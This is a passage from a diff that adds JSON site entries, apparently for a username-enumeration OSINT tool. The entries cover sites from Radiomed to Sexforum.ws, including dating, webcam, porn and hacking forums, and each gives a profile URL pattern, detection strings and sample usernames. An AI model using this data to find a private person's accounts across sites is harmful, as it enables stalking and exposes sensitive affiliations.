"https://radiomed.ru/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Radioscanner": { + "tags": [ + "ru" + ], + "errors": { + "\u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0438\u0441\u043a\u0430\u0442\u044c \u043d\u0435 \u0447\u0430\u0449\u0435, \u0447\u0435\u043c \u0440\u0430\u0437 \u0432 10 \u0441\u0435\u043a\u0443\u043d\u0434": "Too many requests" + }, + "checkType": "message", + "absenceStrs": [ + "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e!" + ], + "alexaRank": 150570, + "urlMain": "http://www.radioscanner.ru", + "url": "http://www.radioscanner.ru/forum/index.php?posterName={username}&action=search&searchGo=1", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Raidforums": { + "disabled": true, + "checkType": "status_code", + "alexaRank": 20059, + "urlMain": "https://raidforums.com/", + "url": "https://raidforums.com/User-{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "cybercriminal", + "forum" + ] + }, + "Railfan": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The user whose profile you are trying to view does not exist!" + ], + "alexaRank": 2741861, + "urlMain": "http://forums.railfan.net", + "url": "http://forums.railfan.net/forums.cgi?action=viewprofile;username={username}", + "usernameClaimed": "gpicyk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rajce.net": { + "tags": [ + "cz" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 1974, + "urlMain": "https://www.rajce.idnes.cz/", + "url": "https://{username}.rajce.idnes.cz/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RamblerDating": { + "disabled": true, + "tags": [ + "dating", + "ru" + ], + "checkType": "response_url", + "urlMain": "https://dating.rambler.ru/", + "url": "https://dating.rambler.ru/page/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 391 + }, + "Rammclan": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.rammclan.ru", + "usernameClaimed": "mathiassk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ramta": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 3836863, + "urlMain": "http://ramta.0pk.ru", + "url": "http://ramta.0pk.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "zulus", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Rap-royalty": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "music", + "us" + ], + "errors": { + "500 Error. Internal Server Error.": "Site error", + "Access Denied!": "Site error" + }, + "engine": "vBulletin", + "alexaRank": 7096327, + "urlMain": "http://www.rap-royalty.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rapforce": { + "tags": [ + "fr", + "ru" + ], + "engine": "uCoz", + "alexaRank": 118933, + "urlMain": "http://www.rapforce.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rappad": { + "tags": [ + "music" + ], + "checkType": "status_code", + "alexaRank": 66724, + "urlMain": "https://www.rappad.co", + "url": "https://www.rappad.co/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rasa": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "alexaRank": 70980, + "urlMain": "https://forum.rasa.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rasslabyxa": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 7235127, + "urlMain": "http://www.rasslabyxa.ru", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rate Your Music": { + "tags": [ + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 8696, + "urlMain": "https://rateyourmusic.com/", + "url": "https://rateyourmusic.com/~{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rcforum": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 195871, + "urlMain": "http://www.rcforum.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RcloneForum": { + "checkType": "status_code", + "url": "https://forum.rclone.org/u/{username}", + "usernameClaimed": "ncw", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Realmeye": { + "tags": [ + "gaming" + ], + "regexCheck": "^[a-zA-Z]+$", + "checkType": "message", + "absenceStrs": [ + "Sorry, but we either:" + ], + "alexaRank": 63145, + "urlMain": "https://www.realmeye.com/", + "url": "https://www.realmeye.com/player/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Redbubble": { + "tags": [ + "shopping", + "us" + ], + "checkType": "status_code", + "alexaRank": 925, + "urlMain": "https://www.redbubble.com/", + "url": "https://www.redbubble.com/people/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Redcafe": { + "tags": [ + "forum", + "gb", + "sg", + "us" + ], + "engine": "XenForo", + "alexaRank": 98399, + "urlMain": "https://www.redcafe.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reddit": { + "tags": [ + "discussion", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, nobody on Reddit goes by that name." + ], + "presenseStrs": [ + "Post karma" + ], + "alexaRank": 19, + "urlMain": "https://www.reddit.com/", + "url": "https://www.reddit.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Redorchestra": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 6984586, + "urlMain": "http://www.redorchestra.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Redtube": { + "tags": [ + "porn", + "us" + ], + "checkType": "status_code", + "alexaRank": 1090, + "urlMain": "https://ru.redtube.com/", + "url": "https://ru.redtube.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reibert": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "XenForo", + "alexaRank": 136697, + "urlMain": "https://reibert.info/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reincarnationforum": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 3388631, + "urlMain": "http://reincarnationforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Reisefrage": { + "checkType": "status_code", + "url": "https://www.reisefrage.net/nutzer/{username}", + "usernameClaimed": "reisefrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ReligiousForums": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 930728, + "urlMain": "https://www.religiousforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RenaultFanClub": { + "disabled": true, + "tags": [ + "forum", + "tr" + ], + "engine": "vBulletin", + "alexaRank": 410980, + "urlMain": "http://www.renaultfanclub.com", + "usernameClaimed": "mashar", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Repl.it": { + "tags": [ + "coding", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404" + ], + "alexaRank": 7808, + "urlMain": "https://repl.it/", + "url": "https://repl.it/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ResearchGate": { + "tags": [ + "in", + "us" + ], + "regexCheck": "\\w+_\\w+", + "checkType": "response_url", + "alexaRank": 143, + "urlMain": "https://www.researchgate.net/", + "url": "https://www.researchgate.net/profile/{username}", + "errorUrl": "https://www.researchgate.net/directory/profiles", + "usernameClaimed": "John_Smith", + "usernameUnclaimed": "noonewould_everusethis7" + }, + "ResidentAdvisor": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "You need to be logged in to view the profile" + ], + "absenceStrs": [ + "Forgot your password?" + ], + "alexaRank": 167880, + "urlMain": "https://www.residentadvisor.net", + "url": "https://www.residentadvisor.net/profile/{username}", + "usernameClaimed": "uncle_ohm", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Revelation": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://rev.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ReverbNation": { + "tags": [ + "us" + ], + "errors": { + "But your computer or network appears to be generating a lot of automated requests": "Too many requests" + }, + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Sorry, we couldn't find that page" + ], + "alexaRank": 7637, + "urlMain": "https://www.reverbnation.com/", + "url": "https://www.reverbnation.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Riftgame": { + "tags": [ + "cr", + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 117470, + "urlMain": "http://forums.riftgame.com", + "url": "http://forums.riftgame.com/members/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rigcz.club": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "presenseStrs": [ + "@rigcz.club" + ], + "url": "https://rigcz.club/@{username}", + "usernameClaimed": "blazej", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rlocman": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "https://www.rlocman.ru", + "usernameClaimed": "elnat", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 147676 + }, + "Rmmedia": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 123397, + "urlMain": "https://rmmedia.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rngf": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://www.rngf.ru/", + "url": "http://www.rngf.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7103394 + }, + "Ro-ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 445437, + "urlMain": "https://ro-ru.ru", + "url": "https://ro-ru.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "set", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Roblox": { + "tags": [ + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Page cannot be found or no longer exists" + ], + "alexaRank": 115, + "urlMain": "https://www.roblox.com/", + "url": "https://www.roblox.com/user.aspx?username={username}", + "usernameClaimed": "bluewolfekiller", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Roboforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1401231, + "urlMain": "http://roboforum.ru", + "url": "http://roboforum.ru/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "sned", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rodgersforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 110740, + "urlMain": "https://rodgersforum.borda.ru", + "url": "https://rodgersforum.borda.ru/?32-{username}", + "usernameClaimed": "hata1979", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rollitup": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 59573, + "urlMain": "https://www.rollitup.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RomanticCollection": { + "tags": [ + "ru" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Too many requests" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 72982, + "urlMain": "https://www.romanticcollection.ru", + "url": "https://www.romanticcollection.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "Prim@", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Root-me": { + "tags": [ + "hacking", + "in", + "ir", + "pk", + "us" + ], + "errors": { + "429 Too Many Requests": "Too many requests" + }, + "checkType": "status_code", + "presenseStrs": [ + "Mes informations" + ], + "alexaRank": 236183, + "urlMain": "https://www.root-me.org", + "url": "https://www.root-me.org/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rottentomatoes": { + "tags": [ + "movies", + "us" + ], + "checkType": "status_code", + "alexaRank": 602, + "urlMain": "https://www.rottentomatoes.com", + "url": "https://www.rottentomatoes.com/critic/{username}/movies", + "usernameClaimed": "ben-allen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rovlpj": { + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "XenForo", + "alexaRank": 8416642, + "urlMain": "https://rovlpj.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "RoyalCams": { + "tags": [ + "gr", + "in", + "ng", + "ru", + "us", + "webcam" + ], + "checkType": "status_code", + "alexaRank": 134095, + "urlMain": "https://royalcams.com", + "url": "https://royalcams.com/profile/{username}", + "usernameClaimed": "asuna-black", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Rpgwatch": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "ca", + "forum", + "in", + "ru", + "us" + ], + "engine": "vBulletin", + "alexaRank": 313871, + "urlMain": "https://www.rpgwatch.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ru-sfera": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "urlMain": "https://ru-sfera.org", + "url": "https://ru-sfera.org/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ruby.dating": { + "checkType": "message", + "absenceStrs": [ + "We can\u2019t find that user" + ], + "presenseStrs": [ + "Looks for:" + ], + "url": "https://ruby.dating/en/users/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ruby-forum": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 101041, + "urlMain": "https://www.ruby-forum.com", + "usernameClaimed": "tomconnolly", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RubyGems": { + "tags": [ + "coding" + ], + "checkType": "status_code", + "alexaRank": 42509, + "urlMain": "https://rubygems.org/", + "url": "https://rubygems.org/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rugby-forum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 7939583, + "urlMain": "http://rugby-forum.ru", + "url": "http://rugby-forum.ru/polzovateli/{username}/", + "usernameClaimed": "bold", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rumblechannel": { + "checkType": "message", + "presenseStrs": [ + "href=https://rumble.com/c/" + ], + "absenceStrs": [ + "404 - Not found" + ], + "url": "https://rumble.com/c/{username}", + "usernameClaimed": "HodgeTwins", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rumbleuser": { + "checkType": "message", + "presenseStrs": [ + "href=https://rumble.com/user/" + ], + "absenceStrs": [ + "404 - Not found" + ], + "url": "https://rumble.com/user/{username}", + "usernameClaimed": "SimonParkes", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Runescape": { + "checkType": "message", + "presenseStrs": [ + "activities" + ], + "absenceStrs": [ + "{\"error\":\"NO_PROFILE\",\"loggedIn\":\"false\"}" + ], + "url": "https://apps.runescape.com/runemetrics/profile/profile?user={username}", + "usernameClaimed": "Blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Runitonce": { + "tags": [ + "ca", + "us" + ], + "checkType": "response_url", + "alexaRank": 223505, + "urlMain": "https://www.runitonce.com/", + "url": "https://www.runitonce.com/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Runnersworld": { + "tags": [ + "forum", + "sport" + ], + "checkType": "status_code", + "alexaRank": 562069, + "urlMain": "https://forums.runnersworld.co.uk/", + "url": "https://forums.runnersworld.co.uk/profile/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rusarmy": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 311365, + "urlMain": "http://www.rusarmy.com", + "url": "http://www.rusarmy.com/forum/members/?username={username}", + "usernameClaimed": "vtsp1", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rusfishing": { + "disabled": true, + "ignore403": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 85070, + "urlMain": "https://www.rusfishing.ru", + "url": "https://www.rusfishing.ru/forum/members/?username={username}", + "usernameClaimed": "ale8443", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rusforum": { + "tags": [ + "forum", + "in", + "pk", + "ru", + "ua" + ], + "disabled": true, + "engine": "vBulletin", + "alexaRank": 491084, + "urlMain": "https://www.rusforum.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "RussianFI": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 213923, + "urlMain": "http://www.russian.fi/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rust-lang": { + "tags": [ + "coding", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 29188, + "urlMain": "https://users.rust-lang.org", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Rutracker": { + "tags": [ + "ru", + "torrent" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "alexaRank": 495, + "urlMain": "https://rutracker.org/", + "mirrors": [ + "https://rutracker.org/", + "http://37.1.216.121/" + ], + "url": "{urlMain}forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "S-forum": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name" + ], + "alexaRank": 674575, + "urlMain": "https://s-forum.biz", + "url": "https://s-forum.biz/members/?username={username}", + "usernameClaimed": "ducat", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "SakhalinName": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "reputation_graf", + "\u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "absenceStrs": [ + "afisha_list" + ], + "alexaRank": 861080, + "urlMain": "https://sakhalin.name/", + "url": "https://sakhalin.name/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Salon24.pl": { + "checkType": "message", + "presenseStrs": [ + "Strona g\u0142\u00f3wna" + ], + "absenceStrs": [ + "Salon24 - blogi, newsy, opinie i komentarze" + ], + "url": "https://www.salon24.pl/u/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Samlib": { + "tags": [ + "gb", + "ru", + "writing" + ], + "checkType": "status_code", + "alexaRank": 25741, + "urlMain": "http://samlib.ru/", + "url": "http://samlib.ru/e/{username}", + "caseSentitive": true, + "usernameClaimed": "e_melokumow", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Saracartershow": { + "checkType": "message", + "absenceStrs": [ + "Home |" + ], + "presenseStrs": [ + "Stories By" + ], + "url": "https://saraacarter.com/author/{username}/", + "usernameClaimed": "annaliese", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SatsisInfo": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 476954, + "urlMain": "https://satsis.info/", + "url": "https://satsis.info/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sbazar.cz": { + "tags": [ + "cz", + "shopping" + ], + "checkType": "status_code", + "alexaRank": 19898, + "urlMain": "https://www.sbazar.cz/", + "url": "https://www.sbazar.cz/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Sbnation": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 2321, + "urlMain": "https://www.sbnation.com", + "url": "https://www.sbnation.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scala-lang": { + "tags": [ + "coding", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 51889, + "urlMain": "https://users.scala-lang.org", + "usernameClaimed": "sjrd", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Schlock": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 115065, + "urlMain": "https://schlock.ru/", + "url": "https://schlock.ru/author/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "School-school": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 585798, + "urlMain": "https://school-school.ru", + "url": "https://school-school.ru/user/{username}", + "usernameClaimed": "nunny_zn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scorcher": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 7639, + "urlMain": "https://www.glavbukh.ru", + "url": "https://www.glavbukh.ru/forum/member.php/?username={username}", + "usernameClaimed": "poli888", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scoutwiki": { + "checkType": "message", + "absenceStrs": [ + "is not registered" + ], + "presenseStrs": [ + "NewPP limit report" + ], + "url": "https://en.scoutwiki.org/User:{username}", + "usernameClaimed": "Benjism89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scratch": { + "tags": [ + "coding", + "us" + ], + "checkType": "status_code", + "alexaRank": 541, + "urlMain": "https://scratch.mit.edu/", + "url": "https://scratch.mit.edu/users/{username}", + "usernameClaimed": "griffpatch", + "usernameUnclaimed": "noonewould" + }, + "Screwfix": { + "tags": [ + "forum", + "gb" + ], + "engine": "XenForo", + "alexaRank": 8593, + "urlMain": "https://community.screwfix.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Scribd": { + "tags": [ + "reading" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "errors": { + "This page is unavailable": "Site censorship" + }, + "alexaRank": 256, + "urlMain": "https://www.scribd.com/", + "url": "https://www.scribd.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Seatracker": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 223866, + "urlMain": "https://seatracker.ru/", + "url": "https://seatracker.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Seneporno": { + "checkType": "message", + "absenceStrs": [ + "Unexpected error! Please contact us and tell us more how you got to this page!" + ], + "presenseStrs": [ + "Dernier Login" + ], + "url": "https://seneporno.com/user/{username}", + "usernameClaimed": "Boymariste", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SeoClerks": { + "tags": [ + "in", + "jp", + "us" + ], + "checkType": "response_url", + "alexaRank": 7864, + "urlMain": "https://www.seoclerks.com", + "url": "https://www.seoclerks.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Serveradmin": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Not Found" + ], + "alexaRank": 166278, + "urlMain": "https://serveradmin.ru/", + "url": "https://serveradmin.ru/author/{username}", + "usernameClaimed": "fedor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Setlist": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 43166, + "urlMain": "https://www.setlist.fm", + "url": "https://www.setlist.fm/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "SevSocium": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 7877321, + "urlMain": "http://forum.sevsocium.com", + "usernameClaimed": "vitaline", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "SevenForums": { + "tags": [ + "forum", + "gb", + "us" + ], + "engine": "vBulletin", + "alexaRank": 23957, + "urlMain": "https://www.sevenforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sevportal": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1726901, + "urlMain": "https://www.sevportal.info", + "url": "https://www.sevportal.info/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "DarkWillow", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sex-forum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://www.sex-forum.xxx", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Sexforum.ws": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 1834364, + "urlMain": "http://sexforum.ws", + "usernameClaimed": "katrin1988", + "usernameUnclaimed": 